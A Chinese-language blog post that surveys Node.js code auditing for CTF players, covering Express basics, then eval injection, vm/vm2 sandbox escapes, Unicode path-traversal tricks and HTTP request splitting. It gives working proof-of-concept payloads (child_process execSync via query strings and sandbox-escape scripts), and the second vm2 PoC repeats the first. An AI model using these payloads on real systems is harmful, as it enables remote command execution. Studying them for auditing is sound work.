Re:从零开始的Node.Js代码审计

Re0真好康

又咕了好久博客,放一篇node.js审计简单总结吧

基础知识

语言基础

Node.Js 中文网的入门教程就不错 传送门

上面对有些点的介绍是在其他入门指南里所看不到的,如package.json等,了解这些知识点有助于对Node.Jsweb项目文件的理解,此外里面还说明了在学Node.Js前应掌握的JavaScript的内容

至于Js,在菜鸟教程学就行了

image-20210214005920357

然后可以再去看看菜鸟教程的Node.Js入门教程,对比学习,加深理解 [传送门](Node.js 教程 | 菜鸟教程 (runoob.com))

常用模块/框架

如果看完了上面的教程,那么最常用的如http、path、fs、buffer这些肯定是会简单使用的

接下来需要熟练掌握的就是常用的框架

常见的主要就express、koa、koa2这三个框架。而其中express在CTF中最为多见,需要先学完,而koa和koa2可以暂缓或遇到再学

Express入门和指南

Koa 框架教程

Koa2进阶学习笔记

Node.Js项目文件及app.js详解

常见项目结构如下

image-20210214015656917

bin:用于存放项目的启动文件,也可以不是js脚本

node_modules:用于存放项目依赖库

public:用于存放项目的静态文件(前端Js、Css、img)

routes:存放路由功能相关的Js文件,如存在一个/admin路由,则routes里面就可能存在admin.js

views:存放路由相关的视图(html)文件

.env:存放项目环境变量的文件

app.js:项目入口和程序启动文件

package.json:存放每个依赖模块的基本信息。模块名称和大版本信息

package-lock.json:记录每个模块的详细信息,如模块的具体版本号和各个模块所依赖的子模块的信息

这里还需要详细了解一下app.js 参考自这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
//这里主要是引用所必须要的模块,当然,这些模块是需要使用“npm install 模块名”安装的
//模块依赖
var express = require('express');
var path = require('path');
var favicon = require('serve-favicon');
var logger = require('morgan');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');

var index = require('./routes/index');
var users = require('./routes/users');

//定义app,生成一个express实例
var app = express();

//设置views文件夹为存刚视图文件的目录,即存放模板文件的目录
//_dirname为全局变量,存储当前正在执行的脚本所在的目录
app.set('views', path.join(__dirname, 'views'));
//设置视图模板引擎为jade
app.set('view engine', 'jade');

// uncomment after placing your favicon in /public
//app.use(favicon(path.join(__dirname, 'public', 'favicon.ico')))
//加载日志中间件
app.use(logger('dev'));
//加载解析json的中间件
app.use(bodyParser.json());
//加载解析urlencoded请求的中间件
app.use(bodyParser.urlencoded({ extended: false }));
//加载解析cookie的中间件
app.use(cookieParser());
//设置public文件夹为存放静态文件的目录
app.use(express.static(path.join(__dirname, 'public')));

//加载路由——路由控制器
app.use('/', index);
app.use('/users', users);

// catch 404 and forward to error handler
//记载错误处理解决方法
//捕获404错误,并转发到错误处理器
app.use(function(req, res, next) {
var err = new Error('Not Found');
err.status = 404;
next(err);
});

// error handler
//开发环境下的错误处理器,将错误信息渲染error模板并显示浏览器中
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
res.render('error');
});

//导出app对象供其他模板调用
module.exports = app;

express默认加载视图文件使用的是jade模板,即视图文件是以jade结尾的文件。若想访问html模板可以配置让其支持ejshtml模板

  1. 在项目根目录安装ejs
1
npm install ejs
  1. 引入ejs
1
var ejs = require('ejs');  //我是新引入的ejs插件
  1. 设置html模板
1
app.engine('html', ejs.__express);
  1. 设置视图引擎
1
app.set('view engine', 'html');

保存后重启服务,即可访问html文件

常见漏洞

原型链污染

之前总结过 传送门

eval

1
2
3
4
5
6
7
8
9
const express = require("express")
var app = express()

app.get('/',function(req,res){
res.send(eval(req.query.cmd))
})
var server = app.listen(8081, function() {
console.log("http://127.0.0.1:8081/")
})

?cmd=require('child_process').exec('calc') 无回显

?cmd=require('child_process').execSync('whoami') 有回显

vm/vm2沙箱逃逸

参考:https://www.anquanke.com/post/id/207291

vm

vm模块可以通过v8虚拟机编译和运行代码,在v8虚拟机直接运行js_code是无法在物理机执行命令的,如下

1
2
3
4
5
6
7
8
9
const vm = require("vm");
const ctx = {};

vm.runInNewContext(
'global.process.mainModule.constructor._load("child_process").execSync("calc")()',
ctx
);

//global is not defined

但我们可以通过继承链来虚拟机逃逸

1
2
3
4
5
6
7
const vm = require("vm");
const ctx = {};

vm.runInNewContext(
'this.constructor.constructor("global.process.mainModule.constructor._load(\'child_process\').execSync(\'calc\')")()',
ctx
);

vm2

vm2中,可以通过外部报错+捕获外部报错来逃逸,如下

POC1

1
2
3
4
5
6
7
8
9
10
11
12
13
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

POC2

1
2
3
4
5
6
7
8
9
10
11
12
13
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

JS大小写特性

字符ıſ 经过toUpperCase()处理后结果为 IS

字符经过toLowerCase()处理后结果为k

unicode特性

orange大师傅于blackhat上提出的。在处理path时对unicode时对高位的截断,如下

\xFF\x2E会被截断为\x2E\xFF\x2E就是,而\x2E.

\x01\x25会被截断为\x25\x01\x25ĥ,而\x25%

如CSAW CTF 2017就有一道题

进入主页即可发现文件包含?path=orange.txt,但../被放入了黑名单,这时就用到了这个洞

?path=N./flag.txt,后台解析的就是../flag.txt,拿到flag

后面还有一道类似的题是ban掉了,需要自己寻找字符末尾是2E的字符,可以在这里寻找 传送门

http拆分攻击

漏洞范围:Node.js [6.0.0, 6.15.0)&&[8.0.0, 8.14.0)

其实是一种CRLF攻击

假如存在一个服务,它将会接受用户的输入,并将其拼接到一次http请求中

如输入test,服务器会发包

1
2
GET /vertify?code=test HTTP/1.1
Host: localhost

而当用户输入test HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n

服务器就可能会将其直接写入路径,发包变为下面的

1
2
3
4
GET /vertify?code=test HTTP/1.1

DELETE /private-api
Host: localhost

而在node.jshttp库已经设计了防御措施(percent encode)规避了这种错误

http.get("http://127.0.0.1/vertify?code=test HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n")

1
2
3
4
5
GET /vertify?code=test%20HTTP/1.1DELETE%20/private-api%20HTTP/1.1 HTTP/1.1\r\n
Host: 106.15.121.121:1234\r\n
Connection: close\r\n
\r\n
\r\n

http库在处理错误的unicode字符时就可以绕过防御措施

http.get("http://localhost/vertify?code=x\u0120HTTP/1.1\u010D\u010AHost:\u0120localhost\u010D\u010AConnection:\u0120keep-alive\u010D\u010A\u010D\u010AGET\u0120/admin")

1
2
3
4
5
GET /vertify?code=x HTTP/1.1\r\n
Host: localhost\r\n
Connection: keep-alive\r\n
\r\n
GET /admin

看一下它是如何解析unicode字符的

1
> Buffer.from('http://localhost/vertify?code=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}localhost\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/admin', 'latin1').toString()
image-20210217210356247

例题:安洵杯2019-Membershop

其他依赖库问题

还有其他一些依赖库的问题,在审计时需要注入目标使用依赖库的版本及是否存在相应漏洞

可以在npm官网寻找依赖库相关漏洞 传送门

或者在npm install项目后输入npm audit查看依赖包的漏洞详情

评论